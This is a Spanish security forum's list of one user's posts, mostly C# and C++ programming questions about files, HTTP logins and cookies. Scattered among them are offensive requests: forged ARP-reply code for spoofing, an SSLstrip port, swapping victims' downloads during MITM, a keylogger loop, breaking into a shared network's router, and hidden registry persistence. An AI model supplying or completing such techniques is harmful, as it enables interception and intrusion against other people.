Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Kaxperday

#136
Imaginemos que monto un servidor linux debian. El DNS asigna una IP a el dominio, pero al usar TOR la IP varía constantemente, si uso mi portatil para montar el server y me muevo ya cambiaría la IP, ¿como se puede producir el enlace entonces?

Los servidores normales (no los de TOR me refiero) ¿como lo hacen?, contratan un dominio en plan "www.olakase.com" y luego a ese dominio lo asignan una IP en el mismo sitio que lo contratan, si esa IP cambia ya no funcionaría, entonces ¿como lo podemos hacer funcionar sin servidores dedicados?

Es decir lo que busco es montar el servidor en 2 clicks y hacerlo funcionar con mi portátil desde donde sea, solo quiero hacerlo correr donde sea y que al momento la gente al buscar mi dominio le cargue mi página, si no lo hago correr pues no le carga nada.

Saludos y gracias.
#137
Pues eso, quiero instalar un programa que necesita elevacion UAC y no se como ponerlo.

Pues le pongo requireAdministrator, y lo anclo al registro, pero luego no funciona y sigue con los permisos de administrador, ¿que hago entonces?.

Ayuda please.
#138
Hola a todos, quiero mandar un ARPPacket a través de un tipo de paquete para wifi (que es la clase que estoy buscando, para eth0 es EthernetPacket), quiero encontrar su homologo para wifi, ya se usar SendARP y no es lo que busco, saludos.

Si mi red fuera de tipo ethernet sería así:

Código (csharp) [Seleccionar]
ARPPacket arp = new ARPPacket(ARPOperation.Response, dstMac, dstIP, srcMac, srcIP);
           EthernetPacket eth = new EthernetPacket(srcMac, dstMac, EthernetPacketType.Arp);
           arp.PayloadData = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
           eth.PayloadPacket = arp;
           device.SendPacket(eth);


Pero si trabajo con WiFi no funciona, ¿como sería entonces?.

DETALLES: A ver aqui he conseguido listar las clases de PacketDotNet la libreria que estoy usando.

¿Alguien sabe porque EthernetPacket tiene srcmac, dstmac y  tipopaquete?

¿Y la del Wifi supuestamente "Ieee8021QPacket" en teoria la del wifi tiene solo un argumento que no es ninguno de los 3? ¿no debería de tener los mismos?

Tengo un cacao, pero poco a poco me ire aclarando.

Edito: Me pregunto si esto funcionaria:

Código (csharp) [Seleccionar]
ARPPacket arp = new ARPPacket(ARPOperation.Response, dstMac, dstIP, srcMac, srcIP);
           arp.PayloadData = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
           device.SendPacket(arp);



Edito: He probado ambos enviando a mi movil paquetes ARP y ninguno funciona, lo que busco es hacer arp spoofing y seguramente falte algo mas. Puede que SendARP tenga la magia.

leyendo, a ver si consigo implementarlo en C#.

Saludos Benignos.
#139
La funcion muestra las IPs conectadas de un servicio o una interfaz (como por ejemplo la que estas conectado que puede ser WIFI) y su MAC correspondiente.

Mostraría las IPs de los usuarios conectados a la red y su correspondiente MAC, pero al obtener la MAC da error.

Código (csharp) [Seleccionar]
foreach (LibPcapLiveDevice dev in LibPcapLiveDeviceList.Instance)
            {
                for (int i = 0; i < dev.Addresses.Count; i++)
                {
                    var ip = dev.Addresses[i].Addr.ipAddress;

                    if (ip == null)
                        continue;

                    Console.WriteLine(ip.ToString());
                    Console.WriteLine(dev.Addresses[i].Addr.hardwareAddress.ToString());
                }


El problema lo obtengo en la ultima linea, pues dev.Addresses.Addr.hardwareAddress que es de tipo PhysicalAddress es nulo, mientras que la IP la obtiene sin problemas.

Saludos.
#140
Hola a todos no encuentro la manera de traducir este código en C++ a C#:

Código (cpp) [Seleccionar]
/* Print all the available information on the given interface */
void ifprint(pcap_if_t *d)
{
 pcap_addr_t *a;
 char ip6str[128];

 /* Name */
 printf("%s\n",d->name);

 /* Description */
 if (d->description)
   printf("\tDescription: %s\n",d->description);

 /* Loopback Address*/
 printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no");

 /* IP addresses */
 for(a=d->addresses;a;a=a->next) {
   printf("\tAddress Family: #%d\n",a->addr->sa_family);
 
   switch(a->addr->sa_family)
   {
     case AF_INET:
       printf("\tAddress Family Name: AF_INET\n");
       if (a->addr)
         printf("\tAddress: %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
       if (a->netmask)
         printf("\tNetmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
       if (a->broadaddr)
         printf("\tBroadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr));
       if (a->dstaddr)
         printf("\tDestination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
       break;

     case AF_INET6:
       printf("\tAddress Family Name: AF_INET6\n");
       if (a->addr)
         printf("\tAddress: %s\n", ip6tos(a->addr, ip6str, sizeof(ip6str)));
      break;

     default:
       printf("\tAddress Family Name: Unknown\n");
       break;
   }
 }
 printf("\n");
}


Lo que he conseguido traducir a C#:

Código (csharp) [Seleccionar]
public void GetDeviceInf(pcap_if dev)
       {
           String inf="";
           pcap_addr addresses;
           IntPtr ip6str;//char ip6str[128];
           sockaddr addr;

           inf += "Nombre de la interfaz: " + dev.name + Environment.NewLine;

           if (dev.description!=null)
            inf += "Descripción de la interfaz: " + dev.description + Environment.NewLine;

           //inf += "Loopback: " + dev.flags + PCAP_IF_LOOPBACK ",(d.flags & PCAP_IF_LOOPBACK)?"yes":"no");

           do
           {
               addresses=dev.addresses;
               addr = (sockaddr)Marshal.PtrToStructure(addresses.addr, typeof(sockaddr));
               inf += "ADDR.SA_DATA: " + addr.sa_data + Environment.NewLine;
               inf += "Address Family:: " + addr.sa_family + Environment.NewLine;
               Console.WriteLine(inf);
               switch(addr.sa_family)
               {
                   //case AF_INET:
                     //  Console.WriteLine("Address Family Name: AF_INET\n");
                   /*//if (addresses)
                       
                       Console.WriteLine("Address: %s\n",iptos((addr.sin_addr.s_addr));
                   if (addresses.netmask!=null)
                       //Console.WriteLine("Netmask: %s\n",((struct sockaddr_in *)addresses.netmask).sin_addr.s_addr);
                   if (addresses.broadaddr!=null)
                       //Console.WriteLine("Broadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr));
                   if (addresses.dstaddr!=null)
                       Console.WriteLine("Destination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
                   break;

                   case AF_INET6:
                       Console.WriteLine("\tAddress Family Name: AF_INET6\n");
                   if (a->addr)
                       Console.WriteLine("\tAddress: %s\n", ip6tos(a->addr, ip6str, sizeof(ip6str)));
                   break;

                   default:
                   printf("\tAddress Family Name: Unknown\n");
                   break;*/
               }
               Console.WriteLine(inf);
               inf="";
           }while(addresses.next!=IntPtr.Zero);
       }


Addresses.addr es de tipo IntPtr y apunta a una estructura de tipo pcap_addr hasta ahí todo bien pues lo igualo sin problemas. Luego el puntero addresses.addr que es un puntero de tipo IntPtr que apunta a una estructura de tipo sockaddr trato de pasarlo a estrcutura con la siguiente linea de codigo:

Código (csharp) [Seleccionar]
addr = (sockaddr)Marshal.PtrToStructure(addresses.addr, typeof(sockaddr));

Y esto falla, ¿porque se produce este error?

Pues el objetivo final no es mas que sacar datos de la interfaz de red.

He leído esto y he buscado pero no consigo superarlo, ayuda y gracias de antemano.

Edito: me estoy mirando esto a ver si me lo saben resolver o al menos lo entiendo xD y funciona.

Saludos socios.
#141
Hola a todos, quizas me podáis guiar un poco con todo esto. Mis propósitos son educacionales, si quisiera usar SSLstrip con malas intenciones, no sería necesario crear este tema.

Me gustaría poderlo emular en windows, para ello usaré C#, el comando netsh para pasar los datos al puerto donde escuchará el sslstrip, y me he descargado el winpcap, lo que quiero es redirigir los paquetes a el puerto donde escucha el sslstrip, ¿como puedo hacerlo? También tenia pensado usar py2exe para pasar el programa de Moxie a .exe, y no complicarme la vida intentandolo emular en C#, ¿nadie lo ha intentado antes? ¿alguna idea?

Según me ponga a ello iré subiendo actualizaciones y mis avances.

Si alguien quiere ayudarme a alcanzar este objetivo y poderlo compilar, le invito a comentar en este tema, a ver si entre todos podemos hacer algo, yo cuando me ponga a ello actualizaré mis avances en este tema.

Saludos.

#142
Hola a todos ustedes, miren estoy usando un archivo en el que guardo los datos de una aplicación todos sus datos (login, información, autentificacion, entradas, configuración...), cada tipo de datos está delimitado por una linea única en el archivo.

Cuando se realiza un cambio sobre algo por pequeño que sea debo sobreescribir el archivo. Antes trabajaba con un archivo para cada cosa, pero no era el camino correcto tener 10 archivos a la vez.

Es por ello que decidí meterlo en uno y poder lineas delimitadoras, que se crean de la siguiente manera, y se generan al llamar al constructor de archivo:

Código (csharp) [Seleccionar]
public Archivo(String directorio)
        {
            this.lectura = new FileStream(directorio + "\\app.dat", FileMode.Open);
            this.escritura = new FileStream(directorio + "\\app.tmp", FileMode.Create);
            vector.Add("ENTRADA_AUTH_SALIDA");//0
            vector.Add("ENTRADA_LOGI_SALIDA");//1
            vector.Add("ENTRADA_CALC_SALIDA");//2
            vector.Add("ENTRADA_HOLA_SALIDA");//3
            vector.Add("ENTRADA_MENS_SALIDA");//4
            vector.Add("ENTRADA_ENTR_SALIDA");//5
            vector.Add("ENTRADA_PARA_SALIDA");//6
        }


Bien, ahora para sobreescribir el archivo llega mi duda. El archivo app.dat tiene los datos actuales, lo que pense era en leer todo su contenido y pasarlo a una cadena. Y sobreescibir esa cadena añadiendo los datos en el campo correspondiente y escribirla en otro archivo de salida.

Pero creo que es preferible utilizar solo un archivo ya puestos.

Es por ello que quiero leer el contenido del archivo, luego modificar la cadena leída y sobreescribirla en el mismo archivo. He probado esto:

Código (csharp) [Seleccionar]
public bool setAutentificacion(String certificado)
        {
            StreamWriter escritor = new StreamWriter(escritura);//intentar escritura sobremismo archivo
            StreamReader lector = new StreamReader(lectura);
            String contenido = lector.ReadToEnd();
            lector.Close();
            if(contenido.Contains(vector[0].ToString())
            {
                contenido.//aqui quiero saber el puntero de la cadena donde esta esa subcadena
            }
}


Podría hacerlo leyendo caracter a caracter hasta los \n o NewLine, pero tardaría mucho para archivos grandes. Además de la forma de hacerlo no me parece adecuada asi, no se si se podría hacer con algún metodo el identificar la subcadena y obtener el indice donde se encuentra para poder cortarla alli e introducir los nuevos datos.

Luego tengo también la duda del archivo, si puedo hacer de un FileStream un StreamReader y un StreamWriter a la vez, para leerlo todo con uno, y luego usar el otro para sobreescribir el mismo, no se si será posible.

Saludos y gracias por estar ahí de veras. Podéis contar conmigo.
#143
Código (csharp) [Seleccionar]
public partial class Interfaz : Form
   {
       private string directorio = Directory.GetCurrentDirectory();
       private volatile Archivo configuracion = new Archivo(directorio);
...}




Código (csharp) [Seleccionar]
class Archivo
   {
       private String directorio;
       private FileStream datos;// = new FileStream(); //directorio + "\\app.dat", FileMode.Create

       public Archivo(String directorio)
       {
           //Aqui quiero inicialiar el archivo con el handle del directorio que le paso al consructor pero no me deja.
       }


Para obtener el directorio actual debo de hacerlo desde el form o obtengo error, entonces, lo que hago es sacar el directorio del archivo en el form y pasarsele al constructor, entonces quiero que me cree un archivo con ese handle, además quiero que ese archivo poder usarle para lectura y escritura, sin crear más.

Es decir meter un Streamwriter y Streamreader.

Alguna ayuda pls, la idea es crear una clase de archivo para trabajar con un solo archivo con todo, y no crear 20 de estos, necesito el handle del directorio actual y poder escribir en el y leerle con un solo FileStream, ¿es posible? ayuda y gracias gente.
#144
Código (csharp) [Seleccionar]
StreamReader reader = new StreamReader(directorio + "\\Temas.txt");
               StreamReader readel = new StreamReader(directorio + "\\Respuestas.txt");

               if (aleatoriedad == 1)
               {
                   int i=0;
                   while (reader.Peek()>=0)
                   {
                       linea = reader.ReadLine();
                       mensaje = readel.ReadLine();
                       if(mensaje=="")//reinicia el puntero al inicio
                       {
                           readel.BaseStream.Position = 0;
                           readel.DiscardBufferedData();
                       }
                       MessageBox.Show("LINEA: "+linea+ "MENSAJE: "+mensaje);
                   }
                   reader.Close();
                   readel.Close();


La primera iteracion lee la primera linea de los archivos correctamente, pero luego no funciona ¿?? que pasa, es horrible programar para archivos en C#, luego se quejan de C.

Gracias socios.
#145
No consigo iniciar sesion en esta web:

<form action="http://www.web.com/index.php/users/dologin" method="post" accept-charset="utf-8">    <p align="center"><label>Usuario</label>    <input type="text" name="usuario" value="" id="keyboard"  /></p>

   <p align="center"><label>Contraseña</label>    <input type="password" name="contrasena" value="" id="keyboard_pwd"  /></p>

   <p align="center"><input type="submit" name="submit" value="Login"  /></p>
   </form>


Estoy usando C#uso esto:

Código (csharp) [Seleccionar]
public void signUp(string usuario, string contraseña)
       {
           string postData = "usuario=" + usuario + "&contrasena=" + contraseña + "&submit=Login";
           byte[] byteData = ASCIIEncoding.ASCII.GetBytes(postData);
           HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create("http://www.web.com/index.php/users/dologin");
           req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";//utf-8;
           req.ContentType = "application/x-www-form-urlencoded";
           req.ContentLength = byteData.Length;
           req.UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0";
           req.Host = "www.web.com";
           req.Method = "POST";
           req.Proxy = null;
           using (Stream reqStream = req.GetRequestStream())
               reqStream.Write(byteData, 0, byteData.Length);
           GetResponse(req);
       }

       private static void GetResponse(HttpWebRequest req)
       {
           HttpWebResponse response = (HttpWebResponse)req.GetResponse();
           using (Stream responseStream = response.GetResponseStream())
           {
               using (StreamReader sr = new StreamReader(responseStream))
               {
                   string responseData = sr.ReadToEnd();
                   Console.WriteLine(responseData);
                   if (responseData.Contains("Salir de"))
                       Console.WriteLine("Login successful!");
                   else
                       Console.WriteLine("Login failed!");
               }
           }
       }


¿Que puedo estar pasando por alto?, saludos y gracias.

Edito: Aporto mas informacion, el servidor me devuelve la pagina del index, si no pongo la variable usuario y la escribo mal (PE usaodi) me dice que el campo de usuario no esta rellenado, igual ocurre con la contraseña luego es algo que si que envio, pero apesar de que el nombre y usuario son correctos y consigo iniciar sesion en navegador, con el programa aun no lo he conseguido.

Saludos.
#146
Hola, miren estoy intentándo instalar un programa, trabajo con Visual Studio 13, y lo que hace el programa es durante la fase de instalación (solo primera ejecución), crea un directorio dentro de Windows, y se mueve allí dentro, y se ancla al registro para esa ruta.

El problema es que al reiniciar el ordenador no funciona el anclado al registro porque el programa sigue pidiéndo permiso de administrador, creo que es por eso por lo que no se ejecuta.

¿No hay alguna manera para que solo pida permisos administrador la primera vez y luego ya no o algo parecido?.

Saludos.

(Solo intento instalar un programa malamente).
#147
Hola a todos, esa es mi pregunta. Es decir, una vez realizado el MITM no se si alguien conoce aquella técnica para engañar las actualizaciones de los programas de la víctima, o programas .exe que se descarga la víctima y manipularlos por nuestro .exe que queremos que se descarguen.

Si alguien sabe la técnica o la lista de comandos para linux me vendría muy bien, quisiera probarlo, gracias.
#148
Hola, uso C++ sobre visual studio 13 y hay un problema en este código.

Código (cpp) [Seleccionar]

char usuario[6];
archivo=fopen("usuarios.ini","wt");
    for(i=0;i<6;i++)
    {
        usuario[i]=(48+rand()%(57-48)+1);
    }
usuario[6] = '\0';
    fprintf(archivo,"%s",usuario);
    fclose(archivo);


El programa falla, da error en la variable usuario, esa cadena en la que trato de copiar esos caracteres aleatorios de forma incorrecta.

¿A alguien se le ocurre alguna solución para esto?.
#149
Hola a todos, estaba interesado en saber como poner un anuncio o alguna publicidad que me remunere en una aplicación que estoy desarrollando en C#. Todo lo que pueda ganar dinero con anunciones clicks, redirecciones a páginas y demás para ganar dinero de forma legal *******, me gustaría conocerla.

Pues hacer una app y ponerlaen una web y que se la descarguen nada me aporta después de todo el trabajo hecho, ¿qué métodos conocéis y cuáles son los más eficaces? Saludos.




[MOD]: Comentario censurado, ya que está prohibido lo ilegal en este foro.
#150
Seguridad / Ayuda para remover virus Win32/Small.CA
9 Diciembre 2014, 13:29 PM
Hola a todos desde hace una o 2 semanas, creo estar infectado por este virus, aunque me dí cuenta de que lo tenía ayer cuando en el solucionador de problemas de windows me apareció.

Me he dado cuenta desde hace una semana o así que se me abría el glcnd.exe (el programa que abre los pdf en windows 8 por defecto), se me abría solo aunque no había ningún pdf que había abierto, lo cerraba y pasado un rato volvía a aparecer, puede que él sea el causante del problema.

No me dejaba abrir la ubicación del archivo desde el administrador de tareas ventana de procesos me decía que no tenía permisos (para los demás si que me dejaba, extraño), para los demás procesos no tenía problema!, (lo cerre hace poco y ya se ha vuelto a abrir xD), sin embargo le di a ir a detalles y me llevo al proceso en la pestaña de detalles de el administrador de tareas y el proceso era glcnd.exe. OK. Le di ir a ubicación del archivo y me dejo bien.

Me lleva a este directorio entonces:

C:\Program Files\WindowsApps\Microsoft.Reader_6.3.9654.17499_x64__8wekyb3d8bbwe

En ese directorio hay varios archivos .xaml alguno .dll y .pri, y el .exe en cuestión.
Llamo la atención password.xaml, no se para que valen estos archivos pero no tenía contraseñas ni nada, pero extraño ver estos archivos para un editor pdf, para mí vamos.

De esto que voy a acceder al directorio anterior con el explorador y no me deja que no tengo permisos me dice, le doy a usar permisos admin me abre el editor de la seguridad y me dice que no tengo permisos, pos ok.

Cojo voy al .exe en cuestión a propiedades seguridad y SORPRESA, me aparecen 2 usuarios más, está TODOS LOS PAQUETES DE APLICACIONES, SYSTEM, SERVICIO LOCAL, servicio de red, Administrador y usuario, y 2 usuarios llamados:

Cuenta desconocida (S-1-15-2-1836922079-331571XXXX-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXX-XXXXXXXXX-XXXXXXXXXX)
Cuenta desconocida (S-1-15-3-1836922079-331571XXXX-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXX-XXXXXXXXX-XXXXXXXXXX)

[OJO notesé que en un archivo cualquiera del programa los usuarios que me aparecen al entrar en propiedades-> seguridad son TODOS LOS PAQUETES DE APLICACIONES, trustedinstaller, SYSTEM, Administrador, y Usuarios.]

Ok ambos con permisos de lectura y ejecución, leer carpeta, ejecutar archivos... . Parece que no me dejaba cambiar los permisos, en editar ok, fuí a opciones avanzadas-> cambiar permisos, le doy a suprimir esos usuarios raros de 1000 caracteres y no funciona, dice que deshabilite su herencia y ahí estoy ya bloqueado pues le dí y me desaparecieron los demás usuarios excepto el instalador de paquetes así que no le dí a aplicar, la verdad estoy sorprendido es un malware muy fino y cabrón aunque no me paso desapercibido ya sospechaba algo cuando veía el proceso abridor de pdfs en ejecución (o suspendido) cuando no lo estaba usando.

Para el caso no sé si sabríais algo para eliminar esos usuarios, recuperar privilegios, entrar en los directorios y demás, también quiero saber si ese .exe es el que me abre el archivo pdf o no, para buscar otro abridor de pdfs y eliminar ese para siempre.

Acabo de subir el archivo a virustotal y me dice que está limpio pero raro que el primer análisis haya sido de tan solo una semana, es algo nuevo, normal que no lo detecten aún.

Hice análisis con AVG sin éxito, pero el virus creo que ya está detectado y es ese, esperemos que no haya más, ¿alguna idea para eliminarlo?.

También añado que el directorio: C:\Program Files\WindowsApps es invisible (aunque tenía la opción de ver carpetas invisibles activada) y su edición última fue el 2/12/2014 cuando aparecería el virus no me deja acceder a ese directorio ni con consola.

Vaya que si me toca los huevos me hago un batch de 3 lineas para que lo cierre, AUNQUE PIENSO ESTUDIAR ESE PROGRAMA ABRIR EL WIRESHARK, MIRAR DÓNDE SE CONECTA, QUÉ HACE Y DENUNCIARLO si se confirma que es el virus, solo hice 2 cosas arriesgadas con el ordenador hace 2 semanas, usar un crack y abrir pdfs

Saludos.






#151
En un proyecto de C# de windows forms tengo todas las funciones metidas en el Form1.cs, lo que quiero es dividir todas las funciones en archivos .cs y a través de la interfaz del Form1.cs llamar a sus clases.

El main lo que hace es iniciar el form y una vez allí se pulsan botones para llamar a funciones, pero ojo, estas funciones no están en Form1.cs estan en Descargas.cs por ejemplo, vale diréis basta con incluir ese archivo en el Form1.cs y solucionado bien, pero en esas funciones hay controles textbox, de barras de carga, y demás que me dan error, PE:

En descargas.cs tengo una aplicaciones que descarga y va llenando una barra de carga, pero ese archivo no tiene acceso al form para modificar el estado de la barra, ¿como puedo hacerlo? ¿Hay otra alternativa? ¿Qué usáis habitualmente?

Saludos.
#152
Hola a todos, he encontrado el siguiente código que según pone el que lo posteo debería iniciar sesión en una página web llevando a cabo todas las redirecciones y cookies necesarias hasta llegar a la cookie de sesión JSESSIONID.

Link: http://stackoverflow.com/questions/14758917/c-sharp-download-file-from-the-web-with-login

Código (csharp) [Seleccionar]

CookieCollection cookies = new CookieCollection();
       HttpWebRequest cookieRequest = (HttpWebRequest)WebRequest.Create("https://www.loginpage.com/");
       cookieRequest.CookieContainer = new CookieContainer();
       cookieRequest.CookieContainer.Add(cookies);
       HttpWebResponse cookieResponse = (HttpWebResponse)cookieRequest.GetResponse();
       cookies = cookieResponse.Cookies;

       string postData = "name=********&password=*********&submit=submit";
       HttpWebRequest loginRequest = (HttpWebRequest)WebRequest.Create("https://www.loginpage.com/");
       loginRequest.CookieContainer = new CookieContainer();
       loginRequest.CookieContainer.Add(cookies);
       loginRequest.Method = WebRequestMethods.Http.Post;
       loginRequest.UserAgent = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2";
       loginRequest.AllowWriteStreamBuffering = true;
       loginRequest.ProtocolVersion = HttpVersion.Version11;
       loginRequest.AllowAutoRedirect = true;
       loginRequest.ContentType = "application/x-www-form-urlencoded";

       byte[] byteArray = Encoding.ASCII.GetBytes(postData);
       loginRequest.ContentLength = byteArray.Length;
       Stream newStream = loginRequest.GetRequestStream(); //open connection
       newStream.Write(byteArray, 0, byteArray.Length); // Send the data.
       newStream.Close();


Ahora bien, ¿esto funciona? porque lo he probado para iniciar sesión en una web y no hizo nada.
¿Cómo puedo ver las cookies que tiene?, ¿cómo saber si ha recogido algo o no? ¿Cómo funciona?

Lo he depurado y no cargaban nada de respuesta las variables.

Viendo todo esto me pregunto si este es el camino correcto para iniciar sesión en una web usando C#, de ser así ¿podríais guiarme un poco para conseguir la cookie de sesión JESESSIONID?.

Saludos y gracias.
#153
Hola tengo una aplicación en C# y hace webscraping a un gran numero de foros, el problema es que cuando trabaja la aplicación se bloquea dice que no responde así hasta que acaba de decargar todo, y puede llegar a 10 minutos o mucho más si hay muchos foros a webscrapear.

He probado a ponerle Thread.Sleep(10); pero nada sigue igual.

También he de destacar que a medida que lo descarga lo muestra en una textbox cosa que no ocurre porque se queda sin responder y cuando acaba muestra los foros descargados en la textbox y todo va bien, pero hasta entonces el programa pinzado, bloqueado...

¿Puedo evitar eso?

Saludos.
#154
Estoy trabajando con C Sharp en MVS13, tengo una tabControl con 6 tabPages, y quiero que al clickar una me cargue el contenido de un archivo dentro de una textbox (¿Que cojones hablo chino ahora? xD)

Soy principiante Y MUY principiante en esto, probé esto:


Código (csharp) [Seleccionar]

La siguiente linea va en el design.cs, para declarar el evento pero esta mal da error
this.tabPage1.Load += new System.EventHandler(this.tabPage1_Load);

private void tabPage1_Load (object sender, EventArgs e)
        {
            MessageBox.Show("CARGANDO");
            int counter = 0;
            string total="", line;
            try
            {
                StreamReader archivo = new StreamReader("");
                while ((line = archivo.ReadLine()) != null)
                {
                    total += line;
                    counter++;
                }
                tb_foros.Text = total;
                archivo.Close();
            }
            catch(Exception error)
{
MessageBox.Show("Exception: " + error.Message);
}


¿Como hago para que al cargar la pestaña haga algo, no quiero que haga click al boton pues al iniciar la app lo primero que hace es cargar la ventana no hace click, quiero que siempre que se cargue esa ventana se produzca el evento y se intente escribir el archivo en la textbox.

De momento con que me salga el mensaje sería ya un triunfo.

Gracias.
#155
Programación C/C++ / Duda pasar de LPWSTR a char *
13 Noviembre 2014, 14:26 PM
Tema muy muy frustrante, érase un keylogger:


HWND ventana;
LPWSTR cadena;
char ventanika[500];
while(1)
{
GetWindowText(ventana, cadena, 500);
//metemos en ventanika lo de cadena
fprintf(log, "[-] [ Ventana: %s ]", ventanika);
}


He probado todo, todo.

Luego como se inicializa ese demonio, ni un ejemplo.
Vale si pones: LPWSTR cadena=L"***** de cadena";
Luego usas GETWINDOWTEXT y sigue teniendo ***** de cadena XD

Luego me hizo gracia el visual studio hice un programa fuí a ejecutarlo en otro ordenador y me dió eror que faltaba una dll me decía MVS... .dll wtf?

Edito: LOL no se puede escribir mir..a en el foro.

Edito: No se trata de convertir el tema realmente sino de porque no funciona GETWINDOWTEXT y no me carga la cadena.

Otra prueba más:


HWND ventana;
char ventanika[500];
while(1)
{
GetWindowText(ventana, (LPWSTR)ventanika, 500);
for (int i = 0; ventanika[i] != '\0'; i++)
{
printf("%c", ventanika[i]);
}
system("pause");
}


Creo que por aquí avanzamos más pero así solo me muestra el primer caracter, debe de ser un puntero pero aun así debería de sacar todos los caracteres no? x`p
xD
#156
Hacking / Ayuda para crackear router
13 Noviembre 2014, 14:11 PM
Hola a todos compañeros, miren tengo una red "pública" y he probado a acceder a su router para tratar de configurar puertos, prohibir MAC, cambiar contraseñas... todas las cosas que se podrían hacer.

Uso IPCONFIG para ver la dirección de la puerta de enlace en este caso es XXX.XX.XX.X, me dirijo a la dirección con el navegador me dice que es un ubuntu (squid/2.7.STABLE9) y me sale un error:

The system returned: (111) Connection refused

¿Cómo podría entrar? ¿Es posible usar algún exploit?, supongo que habrán bloqueado la entrada a los ordenadores de la misma red o no sé, si pueden darme ideas quizás pueda hacer algo para entrar, saludos.
#157
Seguridad / Como detectar wireshark en red
12 Noviembre 2014, 16:09 PM
Hola a todos tengo unas dudas acerca de wireshark:

¿El wireshark para capturar paquetes de otros ordenadores de la red necesita para ello que se haya realizado un MITM? Es decir imaginemos que entro en foro.elhacker.net y hay alguien que abre wireshark podría ver mi tráfico solo con abrirlo o necesitaría realizar un MITM a la red y sniffar de nuevo para poder captar la página a la que accedo.

Si usa un MITM sería fácil de detectar con ARP, pero si no usa un MITM ¿cómo podría proteger mi privacidad?

Saludos y gracias.
#158
Hola, miren estoy intentando iniciar sesión en una página web (si están interesados mandanme un privado les invito a intentarlo), lo que ocurre es que accedo al directorio login y envío un POST con las variables usuario y pass, vale luego recibo que me redirige a la página principal, hago una petición a la principal con las nuevas cookies y parece que recojo el html de la principal (osea que para eso podía haber hecho solo un POST a la principal y recoger datos luego inútil).

El problema es que no soy capaz de iniciar sesión, he probado con firefox y LIVE HEADERS para ver como inicia sesión y al parecer le ocurre algo parecido los 2 primeros pasos iguales luego firefox comienza a descargar archivos, imagenes etc (cosas que yo no necesito).

Tras muuchos POST de firefox, acaba recibiendo la cookie mágica JESSISID=293jf9239ur por ejemplo, ¿cómo puedo consguirla?, ¿cómo funciona esto de los javascript y como puedo interpretarlos en mi cliente que inicia sesión?.

Pues los js creo que son usados para cargar cookies, creo que lo que tengo que hacer es ir probando POST (pero a que páginas porque del index no salgo), y al recoger su HTML ¿debería proceder a buscar el javascript de las cookies? Y cuando recoja esa cadena como debería interpretarla, es un script en otro lenguaje.

En fin, orientadme un poco con esto si podéis, ¿como haríais vosotros para iniciar sesión en una pagína y mantener esa sesión usando HTTP evidentemente? gracias.
#159
Hola siento abrir otro tema, pero el anterior dejo de interesarme ahora tengo otro proyecto en mente, no se como va esto de las cookies. Haber quiero iniciar sesión en una página web con un programa en C/C++, ¿que debo hacer?

He probado a mandar esto:

Código (cpp) [Seleccionar]

int inicia_sesion(char* user, char *contraseña)
{
WSADATA wsa;
SOCKET sock;
unsigned short tamaño;
struct sockaddr_in directorio;
char datos[1500], variables[250];
char cookie[1000], auxiliar[50];

WSAStartup(MAKEWORD(2, 0), &wsa);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Se ha producido un error al inicializar el socket.");
exit(0);
}
else
{
directorio.sin_family = AF_INET;
directorio.sin_port = htons(PUERTO);
directorio.sin_addr.s_addr = inet_addr(IP);

strcpy_s(variables, "email=");
strcat_s(variables, user);
strcat_s(variables, "&password=");
strcat_s(variables, contraseña);
tamaño = strlen(variables);
_itoa_s(tamaño, auxiliar, 10);

strcpy_s(datos, "POST /login HTTP/1.1\r\n");
strcat_s(datos, "Host: dominio.com\r\n");
strcat_s(datos, "Content-type: application/x-www-form-urlencoded\r\n");
strcat_s(datos, "Content-length: ");
strcat_s(datos, auxiliar);
strcat_s(datos, "\r\n\r\n");
strcat_s(datos, variables);

connect(sock, (struct sockaddr*)&directorio, sizeof(directorio));
send(sock, datos, strlen(datos), 0);
strcpy_s(datos, "");
recv(sock, datos, 1000, 0);
closesocket(sock);

ofstream cookies("cookies.txt");
int tam = strlen(datos), i, j;
char hookie[500];
for (i = 0; i < tam; i++)
{
if ((datos[i] == 'S') &&
(datos[i + 1] == 'e') &&
(datos[i + 2] == 't') &&
(datos[i + 3] == '-') &&
(datos[i + 4] == 'c') &&
(datos[i + 5] == 'o') &&
(datos[i + 6] == 'o') &&
(datos[i + 7] == 'k') &&
(datos[i + 8] == 'i') &&
(datos[i + 9] == 'e') &&
(datos[i + 10] == ':') &&
(datos[i + 11] == ' '))
{
i = i + 12;
j = 0;
while (datos[i] != ';')
{
cookie[j] = datos[i];
i++;
j++;
}
cookie[j] = '*';
j = 0;
for (int k = 0; k < strlen(cookie); k++)
{
if (cookie[k] != '*')
{
hookie[j] = cookie[k];
j++;
}
else
{
hookie[j] = '\0';
break;
}
}
cookies << hookie << endl;
strcpy_s(cookie, "");
strcpy_s(hookie, "");
}
}
}
return 1;//para controlar errores si falla al iniciar sesion (sin hacer)
}



Al realizar esta función recibo lo siguiente:

HTTP/1.0 200 OK

Server: nginx

Date: Sat, 25 Oct 2014 21:19:24 GMT

Content-Type: text/html; charset=utf-8

